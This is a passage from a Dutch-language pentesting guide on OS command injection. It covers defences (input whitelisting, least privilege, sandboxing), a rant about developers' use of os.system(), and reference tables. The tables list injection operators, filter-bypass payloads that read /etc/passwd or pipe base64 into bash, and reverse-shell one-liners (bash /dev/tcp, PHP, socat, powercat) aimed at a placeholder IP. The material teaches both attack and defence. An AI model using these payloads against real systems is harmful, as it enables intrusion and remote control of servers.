    return all(0 <= int(p) <= 255 for p in parts)

user_ip = request.form.get('ip', '')
if not is_valid_ip(user_ip):
    return "Ongeldig IP-adres", 400

subprocess.call(["ping", "-c", "4", user_ip])

Dit is defens-in-depth. Zelfs als er een bug zit in hoe je het commando aanroept, kan een aanvaller er niets mee als de input beperkt is tot geldige IP-adressen.

Regel 4: Least privilege

Draai je webapplicatie niet als root. Draai het als een beperkte gebruiker met minimale rechten. Als iemand toch command injection vindt, kan die persoon dan tenminste niet meteen het hele systeem overnemen.

In de praktijk: een eigen service-account, geen schrijfrechten buiten de applicatie-directory, geen sudo-rechten, beperkte netwerk-toegang.

Regel 5: Sandboxing

Containers (Docker), seccomp-profielen, AppArmor, SELinux – gebruik ze. Ze voorkomen command injection niet, maar ze beperken de schade. Een aanvaller in een Docker-container kan veel minder dan een aanvaller op de bare metal host.

De ongemakkelijke waarheid

En dan nu even een eerlijk woord over developers die os.system() gebruiken.

Ik snap het. Ik snap het echt. Je hebt een deadline. Je manager wil die feature morgen live hebben. Je moet even snel een ping uitvoeren, een bestand converteren, een rapport genereren. En os.system("ping " + ip) is zo verdomd makkelijk. Het werkt. Het doet precies wat je wilt. In drie regels code heb je het voor elkaar, terwijl de “juiste” manier met libraries en input-validatie en subprocess met argumenten-als-lijst drie keer zo lang duurt.

Maar weet je wat ook makkelijk is? Je voordeur open laten staan. Dat bespaart je elke dag vijf seconden zoeken naar je sleutels. En op 364 dagen per jaar gaat dat prima. Maar op die ene dag dat er iemand binnenloopt die er niet hoort te zijn, heb je een probleem. En dan zeg je: “Maar het was zo makkelijk om de deur open te laten!”

Het is dezelfde logica. Dezelfde luiheid. Hetzelfde kortzichtige denken dat ervoor zorgt dat we in 2026 nog steeds command injection kwetsbaarheden vinden in productie-applicaties. We weten al sinds de jaren negentig hoe dit werkt. We weten al dertig jaar hoe je het voorkomt. En toch, elke keer weer, pakt een developer os.system() en plakt er user input achter.

Het is niet eens incompetentie op dit punt. Het is traditie. Het is een ambacht dat van generatie op generatie wordt doorgegeven: de kunst van het slordig programmeren. Ergens op een universiteit zit een professor die studenten leert hoe ze system() moeten gebruiken, en die vergeet erbij te vertellen dat het een geladen pistool is. En die studenten worden developers. En die developers bouwen applicaties. En die applicaties draaien in productie. En dan komen wij langs met een puntkomma en een id-commando, en dan is het: “Oh nee, hoe kan dit? Wie had dit kunnen voorzien?”

Iedereen. Iedereen had dit kunnen voorzien. Want het staat in elke security training, elke OWASP-lijst, elk boek over veilig programmeren. Het staat waarschijnlijk ook op de muur van de koffieruimte bij het bedrijf dat je heeft ingehuurd om een pentest te doen. Maar niemand leest die muur. Net zoals niemand de voorwaarden leest. Net zoals niemand de documentatie leest.

En dan vragen ze ons: “Is het erg?”

Ja. Het is erg. Je hebt iemand root-toegang gegeven tot je server via een webformulier. Dat is als een bank die een gat in de kluisdeur boort zodat klanten makkelijker bij hun geld kunnen.

Referentietabel

Injection operatoren

Operator Syntax Werking Platform
Semicolon cmd1;cmd2 Voer beide uit (ongeacht resultaat) Linux
Ampersand cmd1 & cmd2 Voer beide uit (ongeacht resultaat) Windows
Pipe cmd1\|cmd2 Output cmd1 als input cmd2 Beide
AND cmd1&&cmd2 cmd2 alleen als cmd1 slaagt Beide
OR cmd1\|\|cmd2 cmd2 alleen als cmd1 faalt Beide
Backtick `cmd` Inline substitutie Linux
Dollar $(cmd) Inline substitutie Linux, PS
Newline %0a Commandoscheiding Beide

URL-encoding voor HTTP parameters

Teken Encoding
& %26
\| %7c
; %3b
Spatie + of %20
' %27
" %22
` %60
$ %24
( %28
) %29
{ %7b
} %7d
\n %0a

Spatie-bypass technieken

Techniek Voorbeeld Werking
IFS cat${IFS}/etc/passwd Internal Field Separator
Input redirect cat</etc/passwd Redirect als input
Brace expansion {cat,/etc/passwd} Bash brace expansion
Hex spatie X=$'\x20';cat${X}file Hex-encoded spatie in variabele
Tab cat%09/etc/passwd Tab als whitespace

Keyword-bypass technieken

Techniek Voorbeeld Werking
Enkele quotes c'a't file Lege quotes worden gestript
Dubbele quotes c"a"t file Lege quotes worden gestript
Backslash c\at file Backslash voor normaal karakter
Wildcard /bin/c?t file ? matcht een karakter
Variabele a=/etc/passwd;cat $a Waarde in variabele
Base64 echo aWQ=\|base64 -d\|bash Base64 decodering
Hex echo -e '\x69\x64'\|bash Hex decodering

Reverse shells per taal

Taal Listener One-liner
Bash nc -nlvp 443 bash -i >& /dev/tcp/IP/443 0>&1
Python nc -nlvp 443 python3 -c 'import os,pty,socket;...'
PHP nc -nlvp 443 php -r '$s=fsockopen("IP",443);...'
Perl nc -nlvp 443 perl -e 'use Socket;...'
Ruby nc -nlvp 443 ruby -rsocket -e'...'
Node.js nc -nlvp 443 node -e '(function(){...})()'
Powercat nc -nlvp 443 powercat -c IP -p 443 -e cmd.exe
Socat (SSL) socat OPENSSL-LISTEN:443,... socat OPENSSL:IP:443,... EXEC:...

IB Command files

Bestand Inhoud
web_cmdi_operators Alle injection operatoren + blind detection
web_cmdi_bypass Spatie-, keyword-, encoding-bypass technieken
web_cmdi_shells Multi-language reverse shell one-liners
shell_powercat Powercat: reverse/bind shells, file transfer, relay
shell_socat Socat: versleutelde shells, port forwarding

Verdedigingsmaatregelen

Maatregel Prioriteit Effectiviteit
Geen system calls gebruiken Kritiek Elimineert het probleem
Parameterized execution (shell=False) Hoog Voorkomt operator-interpretatie
Input whitelisting Hoog Beperkt aanvalsvlak
escapeshellarg() (PHP) Medium Escaped speciale tekens
Least privilege Medium Beperkt schade
Sandboxing (Docker, seccomp) Medium Beperkt post-exploitation
WAF-regels Laag Te omzeilen, maar vertraagt aanvaller

Volgende hoofdstuk: Cross-Site Request Forgery – of hoe je iemand anders jouw vuile werk laat doen.